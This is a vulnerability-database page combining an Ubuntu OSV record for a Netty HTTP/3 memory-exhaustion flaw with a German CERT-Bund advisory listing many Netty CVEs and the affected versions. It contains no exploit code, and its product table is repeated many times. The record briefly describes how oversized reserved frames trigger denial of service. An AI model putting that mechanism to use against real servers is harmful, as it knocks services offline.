"purl": "pkg:deb/ubuntu/netty@1:4.1.48-9ubuntu0.2+esm1?arch=source\u0026distro=esm-apps/noble"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"1:4.1.48-7",
"1:4.1.48-8",
"1:4.1.48-9",
"1:4.1.48-9ubuntu0.1~esm1",
"1:4.1.48-9ubuntu0.1~esm2",
"1:4.1.48-9ubuntu0.1",
"1:4.1.48-9ubuntu0.1+esm1",
"1:4.1.48-9ubuntu0.1+esm3",
"1:4.1.48-9ubuntu0.2",
"1:4.1.48-9ubuntu0.2+esm1"
]
},
{
"ecosystem_specific": {
"binaries": [
{
"binary_name": "libnetty-buffer-java",
"binary_version": "1:4.1.48-16ubuntu0.1~esm2"
},
{
"binary_name": "libnetty-common-java",
"binary_version": "1:4.1.48-16ubuntu0.1~esm2"
},
{
"binary_name": "libnetty-java",
"binary_version": "1:4.1.48-16ubuntu0.1~esm2"
}
]
},
"package": {
"ecosystem": "Ubuntu:Pro:26.04:LTS",
"name": "netty",
"purl": "pkg:deb/ubuntu/netty@1:4.1.48-16ubuntu0.1~esm2?arch=source\u0026distro=esm-apps/resolute"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"1:4.1.48-10",
"1:4.1.48-11",
"1:4.1.48-12",
"1:4.1.48-13",
"1:4.1.48-14",
"1:4.1.48-16",
"1:4.1.48-16ubuntu0.1~esm2"
]
}
],
"aliases": [],
"details": "Netty is a network application framework for development of protocol servers and clients. Prior to 4.2.16.Final, Netty\u0027s `Http3FrameCodec` buffers incoming data for HTTP/3 reserved frame types up to the wire-specified payload length without limits; `decodeFrame` trusts `payLoadLength`, allowing an attacker to open multiple QUIC streams and send reserved frames with very large payload lengths to cause memory exhaustion and denial of service. This issue is fixed in version 4.2.16.Final.",
"id": "UBUNTU-CVE-2026-56816",
"modified": "2026-08-21T01:52:17Z",
"published": "2026-07-21T22:17:00Z",
"references": [
{
"type": "REPORT",
"url": "https://ubuntu.com/security/CVE-2026-56816"
},
{
"type": "REPORT",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56816"
},
{
"type": "REPORT",
"url": "https://github.com/netty/netty/security/advisories/GHSA-hpcc-26xq-25fv"
}
],
"related": [],
"schema_version": "1.7.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "medium",
"type": "Ubuntu"
}
],
"upstream": [
"CVE-2026-56816"
]
}
WID-SEC-W-2026-2356
Vulnerability from csaf_certbund - Published: 2026-07-14 22:00 - Updated: 2026-08-04 22:00| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
Open Source Netty <4.1.136
Open Source / Netty
|
<4.1.136 | ||
|
Red Hat Enterprise Linux
Red Hat
|
cpe:/o:redhat:enterprise_linux:-
|
— | |
|
SUSE Linux
SUSE
|
cpe:/o:suse:suse_linux:-
|
— | |
|
Open Source Netty <4.2.16
Open Source / Netty
|
<4.2.16 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
Open Source Netty <4.1.136
Open Source / Netty
|
<4.1.136 | ||
|
Red Hat Enterprise Linux
Red Hat
|
cpe:/o:redhat:enterprise_linux:-
|
— | |
|
SUSE Linux
SUSE
|
cpe:/o:suse:suse_linux:-
|
— | |
|
Open Source Netty <4.2.16
Open Source / Netty
|
<4.2.16 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
Open Source Netty <4.1.136
Open Source / Netty
|
<4.1.136 | ||
|
Red Hat Enterprise Linux
Red Hat
|
cpe:/o:redhat:enterprise_linux:-
|
— | |
|
SUSE Linux
SUSE
|
cpe:/o:suse:suse_linux:-
|
— | |
|
Open Source Netty <4.2.16
Open Source / Netty
|
<4.2.16 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
Open Source Netty <4.1.136
Open Source / Netty
|
<4.1.136 | ||
|
Red Hat Enterprise Linux
Red Hat
|
cpe:/o:redhat:enterprise_linux:-
|
— | |
|
SUSE Linux
SUSE
|
cpe:/o:suse:suse_linux:-
|
— | |
|
Open Source Netty <4.2.16
Open Source / Netty
|
<4.2.16 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
Open Source Netty <4.1.136
Open Source / Netty
|
<4.1.136 | ||
|
Red Hat Enterprise Linux
Red Hat
|
cpe:/o:redhat:enterprise_linux:-
|
— | |
|
SUSE Linux
SUSE
|
cpe:/o:suse:suse_linux:-
|
— | |
|
Open Source Netty <4.2.16
Open Source / Netty
|
<4.2.16 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
Open Source Netty <4.1.136
Open Source / Netty
|
<4.1.136 | ||
|
Red Hat Enterprise Linux
Red Hat
|
cpe:/o:redhat:enterprise_linux:-
|
— | |
|
SUSE Linux
SUSE
|
cpe:/o:suse:suse_linux:-
|
— | |
|
Open Source Netty <4.2.16
Open Source / Netty
|
<4.2.16 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
Open Source Netty <4.1.136
Open Source / Netty
|
<4.1.136 | ||
|
Red Hat Enterprise Linux
Red Hat
|
cpe:/o:redhat:enterprise_linux:-
|
— | |
|
SUSE Linux
SUSE
|
cpe:/o:suse:suse_linux:-
|
— | |
|
Open Source Netty <4.2.16
Open Source / Netty
|
<4.2.16 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
Open Source Netty <4.1.136
Open Source / Netty
|
<4.1.136 | ||
|
Red Hat Enterprise Linux
Red Hat
|
cpe:/o:redhat:enterprise_linux:-
|
— | |
|
SUSE Linux
SUSE
|
cpe:/o:suse:suse_linux:-
|
— | |
|
Open Source Netty <4.2.16
Open Source / Netty
|
<4.2.16 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
Open Source Netty <4.1.136
Open Source / Netty
|
<4.1.136 | ||
|
Red Hat Enterprise Linux
Red Hat
|
cpe:/o:redhat:enterprise_linux:-
|
— | |
|
SUSE Linux
SUSE
|
cpe:/o:suse:suse_linux:-
|
— | |
|
Open Source Netty <4.2.16
Open Source / Netty
|
<4.2.16 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
Open Source Netty <4.1.136
Open Source / Netty
|
<4.1.136 | ||
|
Red Hat Enterprise Linux
Red Hat
|
cpe:/o:redhat:enterprise_linux:-
|
— | |
|
SUSE Linux
SUSE
|
cpe:/o:suse:suse_linux:-
|
— | |
|
Open Source Netty <4.2.16
Open Source / Netty
|
<4.2.16 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
Open Source Netty <4.1.136
Open Source / Netty
|
<4.1.136 | ||
|
Red Hat Enterprise Linux
Red Hat
|
cpe:/o:redhat:enterprise_linux:-
|
— | |
|
SUSE Linux
SUSE
|
cpe:/o:suse:suse_linux:-
|
— | |
|
Open Source Netty <4.2.16
Open Source / Netty
|
<4.2.16 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
Open Source Netty <4.1.136
Open Source / Netty
|
<4.1.136 | ||
|
Red Hat Enterprise Linux
Red Hat
|
cpe:/o:redhat:enterprise_linux:-
|
— | |
|
SUSE Linux
SUSE
|
cpe:/o:suse:suse_linux:-
|
— | |
|
Open Source Netty <4.2.16
Open Source / Netty
|
<4.2.16 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
Open Source Netty <4.1.136
Open Source / Netty
|
<4.1.136 | ||
|
Red Hat Enterprise Linux
Red Hat
|
cpe:/o:redhat:enterprise_linux:-
|
— | |
|
SUSE Linux
SUSE
|
cpe:/o:suse:suse_linux:-
|
— | |
|
Open Source Netty <4.2.16
Open Source / Netty
|
<4.2.16 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
Open Source Netty <4.1.136
Open Source / Netty
|
<4.1.136 | ||
|
Red Hat Enterprise Linux
Red Hat
|
cpe:/o:redhat:enterprise_linux:-
|
— | |
|
SUSE Linux
SUSE
|
cpe:/o:suse:suse_linux:-
|
— | |
|
Open Source Netty <4.2.16
Open Source / Netty
|
<4.2.16 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
Open Source Netty <4.1.136
Open Source / Netty
|
<4.1.136 | ||
|
Red Hat Enterprise Linux
Red Hat
|
cpe:/o:redhat:enterprise_linux:-
|
— | |
|
SUSE Linux
SUSE
|
cpe:/o:suse:suse_linux:-
|
— | |
|
Open Source Netty <4.2.16
Open Source / Netty
|
<4.2.16 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
Open Source Netty <4.1.136
Open Source / Netty
|
<4.1.136 | ||
|
Red Hat Enterprise Linux
Red Hat
|
cpe:/o:redhat:enterprise_linux:-
|
— | |
|
SUSE Linux
SUSE
|
cpe:/o:suse:suse_linux:-
|
— | |
|
Open Source Netty <4.2.16
Open Source / Netty
|
<4.2.16 |
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
Open Source Netty <4.1.136
Open Source / Netty
|
<4.1.136 | ||
|
Red Hat Enterprise Linux
Red Hat
|
cpe:/o:redhat:enterprise_linux:-
|
— | |
|
SUSE Linux
SUSE
|
cpe:/o:suse:suse_linux:-
|
— | |
|
Open Source Netty <4.2.16
Open Source / Netty
|
<4.2.16 |
{
"document": {
"aggregate_severity": {
"text": "hoch"
},
"category": "csaf_base",
"csaf_version": "2.0",
"distribution": {
"tlp": {
"label": "WHITE",
"url": "https://www.first.org/tlp/"
}
},
"lang": "de-DE",
"notes": [
{
"category": "legal_disclaimer",
"text": "Das BSI ist als Anbieter f\u00fcr die eigenen, zur Nutzung bereitgestellten Inhalte nach den allgemeinen Gesetzen verantwortlich. Nutzerinnen und Nutzer sind jedoch daf\u00fcr verantwortlich, die Verwendung und/oder die Umsetzung der mit den Inhalten bereitgestellten Informationen sorgf\u00e4ltig im Einzelfall zu pr\u00fcfen."
},
{
"category": "description",
"text": "Netty ist ein asynchrones, ereignisgesteuertes Netzwerk-Anwendungs-Framework f\u00fcr die schnelle Entwicklung von wartbaren, hochleistungsf\u00e4higen Protokollservern und -clients.",
"title": "Produktbeschreibung"
},
{
"category": "summary",
"text": "Ein Angreifer kann mehrere Schwachstellen in Netty ausnutzen, um Sicherheitspr\u00fcfungen zu umgehen, Anfragen oder Header zu manipulieren, Zertifikatspr\u00fcfungen zu unterlaufen sowie einen Denial of Service zu verursachen.",
"title": "Angriff"
},
{
"category": "general",
"text": "- Linux\n- UNIX",
"title": "Betroffene Betriebssysteme"
}
],
"publisher": {
"category": "other",
"contact_details": "csaf-provider@cert-bund.de",
"name": "Bundesamt f\u00fcr Sicherheit in der Informationstechnik",
"namespace": "https://www.bsi.bund.de"
},
"references": [
{
"category": "self",
"summary": "WID-SEC-W-2026-2356 - CSAF Version",
"url": "https://wid.cert-bund.de/.well-known/csaf/white/2026/wid-sec-w-2026-2356.json"
},
{
"category": "self",
"summary": "WID-SEC-2026-2356 - Portal Version",
"url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-2356"
},
{
"category": "external",
"summary": "GitHub Security Advisory GHSA-4qhr-g3c6-fcfx vom 2026-07-14",
"url": "https://github.com/netty/netty/security/advisories/GHSA-4qhr-g3c6-fcfx"
},
{
"category": "external",
"summary": "GitHub Security Advisory GHSA-272m-gcwp-mpwg vom 2026-07-14",
"url": "https://github.com/netty/netty/security/advisories/GHSA-272m-gcwp-mpwg"
},
{
"category": "external",
"summary": "GitHub Security Advisory GHSA-3g8r-4pfx-jmfh vom 2026-07-14",
"url": "https://github.com/netty/netty/security/advisories/GHSA-3g8r-4pfx-jmfh"
},
{
"category": "external",
"summary": "GitHub Security Advisory GHSA-4mp9-239f-g9hg vom 2026-07-14",
"url": "https://github.com/netty/netty/security/advisories/GHSA-4mp9-239f-g9hg"
},
{
"category": "external",
"summary": "GitHub Security Advisory GHSA-q4f6-jm68-57ww vom 2026-07-14",
"url": "https://github.com/netty/netty/security/advisories/GHSA-q4f6-jm68-57ww"
},
{
"category": "external",
"summary": "GitHub Security Advisory GHSA-c69g-56f8-xwqj vom 2026-07-14",
"url": "https://github.com/netty/netty/security/advisories/GHSA-c69g-56f8-xwqj"
},
{
"category": "external",
"summary": "GitHub Security Advisory GHSA-558v-64gr-wgg4 vom 2026-07-14",
"url": "https://github.com/netty/netty/security/advisories/GHSA-558v-64gr-wgg4"
},
{
"category": "external",
"summary": "GitHub Security Advisory GHSA-6jqx-86gh-f27w vom 2026-07-14",
"url": "https://github.com/netty/netty/security/advisories/GHSA-6jqx-86gh-f27w"
},
{
"category": "external",
"summary": "GitHub Security Advisory GHSA-93wv-jw9v-4972 vom 2026-07-14",
"url": "https://github.com/netty/netty/security/advisories/GHSA-93wv-jw9v-4972"
},
{
"category": "external",
"summary": "GitHub Security Advisory GHSA-g7hg-vrcf-mvmr vom 2026-07-14",
"url": "https://github.com/netty/netty/security/advisories/GHSA-g7hg-vrcf-mvmr"
},
{
"category": "external",
"summary": "GitHub Security Advisory GHSA-gcjf-9mgh-3p7g vom 2026-07-14",
"url": "https://github.com/netty/netty/security/advisories/GHSA-gcjf-9mgh-3p7g"
},
{
"category": "external",
"summary": "GitHub Security Advisory GHSA-hpcc-26xq-25fv vom 2026-07-14",
"url": "https://github.com/netty/netty/security/advisories/GHSA-hpcc-26xq-25fv"
},
{
"category": "external",
"summary": "GitHub Security Advisory GHSA-jppx-w49h-x2qq vom 2026-07-14",
"url": "https://github.com/netty/netty/security/advisories/GHSA-jppx-w49h-x2qq"
},
{
"category": "external",
"summary": "GitHub Security Advisory GHSA-mvh2-crg5-v77c vom 2026-07-14",
"url": "https://github.com/netty/netty/security/advisories/GHSA-mvh2-crg5-v77c"
},
{
"category": "external",
"summary": "GitHub Security Advisory GHSA-q6cq-mhr2-jmr5 vom 2026-07-14",
"url": "https://github.com/netty/netty/security/advisories/GHSA-q6cq-mhr2-jmr5"
},
{
"category": "external",
"summary": "GitHub Security Advisory GHSA-vhch-2wf3-m8rp vom 2026-07-14",
"url": "https://github.com/netty/netty/security/advisories/GHSA-vhch-2wf3-m8rp"
},
{
"category": "external",
"summary": "GitHub Security Advisory GHSA-wc96-39fc-566f vom 2026-07-14",
"url": "https://github.com/netty/netty/security/advisories/GHSA-wc96-39fc-566f"
},
{
"category": "external",
"summary": "Red Hat Security Advisory RHSA-2026:48118 vom 2026-07-29",
"url": "https://access.redhat.com/errata/RHSA-2026:48118"
},
{
"category": "external",
"summary": "Red Hat Security Advisory RHSA-2026:47189 vom 2026-07-29",
"url": "https://access.redhat.com/errata/RHSA-2026:47189"
},
{
"category": "external",
"summary": "Red Hat Security Advisory RHSA-2026:47172 vom 2026-07-30",
"url": "https://access.redhat.com/errata/RHSA-2026:47172"
},
{
"category": "external",
"summary": "SUSE Security Update SUSE-SU-2026:3482-1 vom 2026-08-04",
"url": "https://lists.suse.com/pipermail/sle-security-updates/2026-August/028141.html"
}
],
"source_lang": "en-US",
"title": "Netty: Mehrere Schwachstellen",
"tracking": {
"current_release_date": "2026-08-04T22:00:00.000+00:00",
"generator": {
"date": "2026-08-05T09:03:24.793+00:00",
"engine": {
"name": "BSI-WID",
"version": "1.6.0"
}
},
"id": "WID-SEC-W-2026-2356",
"initial_release_date": "2026-07-14T22:00:00.000+00:00",
"revision_history": [
{
"date": "2026-07-14T22:00:00.000+00:00",
"number": "1",
"summary": "Initiale Fassung"
},
{
"date": "2026-07-19T22:00:00.000+00:00",
"number": "2",
"summary": "Referenz(en) aufgenommen: EUVD-2026-45316"
},
{
"date": "2026-07-20T22:00:00.000+00:00",
"number": "3",
"summary": "Referenz(en) aufgenommen: EUVD-2026-46133, EUVD-2026-46132"
},
{
"date": "2026-07-21T22:00:00.000+00:00",
"number": "4",
"summary": "Referenz(en) aufgenommen: EUVD-2026-46452, EUVD-2026-46438, EUVD-2026-47564, EUVD-2026-47579, EUVD-2026-47582, EUVD-2026-47581"
},
{
"date": "2026-07-28T22:00:00.000+00:00",
"number": "5",
"summary": "Referenz(en) aufgenommen: EUVD-2026-50091, EUVD-2026-50090, EUVD-2026-50089"
},
{
"date": "2026-07-29T22:00:00.000+00:00",
"number": "6",
"summary": "Neue Updates von Red Hat und European Union Vulnerability Database aufgenommen"
},
{
"date": "2026-08-04T22:00:00.000+00:00",
"number": "7",
"summary": "Neue Updates von SUSE aufgenommen"
}
],
"status": "final",
"version": "7"
}
},
"product_tree": {
"branches": [
{
"branches": [
{
"branches": [
{
"category": "product_version_range",
"name": "\u003c4.2.16",
"product": {
"name": "Open Source Netty \u003c4.2.16",
"product_id": "T056598"
}
},
{
"category": "product_version",
"name": "4.2.16",
"product": {
"name": "Open Source Netty 4.2.16",
"product_id": "T056598-fixed",
"product_identification_helper": {
"cpe": "cpe:/a:netty:netty:4.2.16"
}
}
},
{
"category": "product_version_range",
"name": "\u003c4.1.136",
"product": {
"name": "Open Source Netty \u003c4.1.136",
"product_id": "T056599"
}
},
{
"category": "product_version",
"name": "4.1.136",
"product": {
"name": "Open Source Netty 4.1.136",
"product_id": "T056599-fixed",
"product_identification_helper": {
"cpe": "cpe:/a:netty:netty:4.1.136"
}
}
}
],
"category": "product_name",
"name": "Netty"
}
],
"category": "vendor",
"name": "Open Source"
},
{
"branches": [
{
"category": "product_name",
"name": "Red Hat Enterprise Linux",
"product": {
"name": "Red Hat Enterprise Linux",
"product_id": "67646",
"product_identification_helper": {
"cpe": "cpe:/o:redhat:enterprise_linux:-"
}
}
}
],
"category": "vendor",
"name": "Red Hat"
},
{
"branches": [
{
"category": "product_name",
"name": "SUSE Linux",
"product": {
"name": "SUSE Linux",
"product_id": "T054646",
"product_identification_helper": {
"cpe": "cpe:/o:suse:suse_linux:-"
}
}
}
],
"category": "vendor",
"name": "SUSE"
}
]
},
"vulnerabilities": [
{
"cve": "CVE-2026-44891",
"product_status": {
"known_affected": [
"T056599",
"67646",
"T054646",
"T056598"
]
},
"release_date": "2026-07-14T22:00:00.000+00:00",
"title": "CVE-2026-44891"
},
{
"cve": "CVE-2026-55831",
"product_status": {
"known_affected": [
"T056599",
"67646",
"T054646",
"T056598"
]
},
"release_date": "2026-07-14T22:00:00.000+00:00",
"title": "CVE-2026-55831"
},
{
"cve": "CVE-2026-55833",
"product_status": {
"known_affected": [
"T056599",
"67646",
"T054646",
"T056598"
]
},
"release_date": "2026-07-14T22:00:00.000+00:00",
"title": "CVE-2026-55833"
},
{
"cve": "CVE-2026-55851",
"product_status": {
"known_affected": [
"T056599",
"67646",
"T054646",
"T056598"
]
},
"release_date": "2026-07-14T22:00:00.000+00:00",
"title": "CVE-2026-55851"
},
{
"cve": "CVE-2026-56745",
"product_status": {
"known_affected": [
"T056599",
"67646",
"T054646",
"T056598"
]
},
"release_date": "2026-07-14T22:00:00.000+00:00",
"title": "CVE-2026-56745"
},
{
"cve": "CVE-2026-56816",
"product_status": {
"known_affected": [
"T056599",
"67646",
"T054646",
"T056598"
]
},
"release_date": "2026-07-14T22:00:00.000+00:00",
"title": "CVE-2026-56816"
},
{
"cve": "CVE-2026-56817",
"product_status": {
"known_affected": [
"T056599",
"67646",
"T054646",
"T056598"
]
},
"release_date": "2026-07-14T22:00:00.000+00:00",
"title": "CVE-2026-56817"
},
{
"cve": "CVE-2026-56819",
"product_status": {
"known_affected": [
"T056599",
"67646",
"T054646",
"T056598"
]
},
"release_date": "2026-07-14T22:00:00.000+00:00",
"title": "CVE-2026-56819"
},
{
"cve": "CVE-2026-56820",
"product_status": {
"known_affected": [
"T056599",
"67646",
"T054646",
"T056598"
]
},
"release_date": "2026-07-14T22:00:00.000+00:00",
"title": "CVE-2026-56820"
},
{
"cve": "CVE-2026-56821",
"product_status": {
"known_affected": [
"T056599",
"67646",
"T054646",
"T056598"
]
},
"release_date": "2026-07-14T22:00:00.000+00:00",
"title": "CVE-2026-56821"
},
{
"cve": "CVE-2026-56822",
"product_status": {
"known_affected": [
"T056599",
"67646",
"T054646",
"T056598"
]
},
"release_date": "2026-07-14T22:00:00.000+00:00",
"title": "CVE-2026-56822"
},
{
"cve": "CVE-2026-59898",
"product_status": {
"known_affected": [
"T056599",
"67646",
"T054646",
"T056598"
]
},
"release_date": "2026-07-14T22:00:00.000+00:00",
"title": "CVE-2026-59898"
},
{
"cve": "CVE-2026-59899",
"product_status": {
"known_affected": [
"T056599",
"67646",
"T054646",
"T056598"
]
},
"release_date": "2026-07-14T22:00:00.000+00:00",
"title": "CVE-2026-59899"
},
{
"cve": "CVE-2026-59900",
"product_status": {
"known_affected": [
"T056599",
"67646",
"T054646",
"T056598"
]
},
"release_date": "2026-07-14T22:00:00.000+00:00",
"title": "CVE-2026-59900"
},
{
"cve": "CVE-2026-59901",
"product_status": {
"known_affected": [
"T056599",
"67646",
"T054646",
"T056598"
]
},
"release_date": "2026-07-14T22:00:00.000+00:00",
"title": "CVE-2026-59901"
},
{
"cve": "CVE-2026-59920",
"product_status": {
"known_affected": [
"T056599",
"67646",
"T054646",
"T056598"
]
},
"release_date": "2026-07-14T22:00:00.000+00:00",
"title": "CVE-2026-59920"
},
{
"cve": "CVE-2026-59921",
"product_status": {
"known_affected": [
"T056599",
"67646",
"T054646",
"T056598"
]
},
"release_date": "2026-07-14T22:00:00.000+00:00",
"title": "CVE-2026-59921"
}
]
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.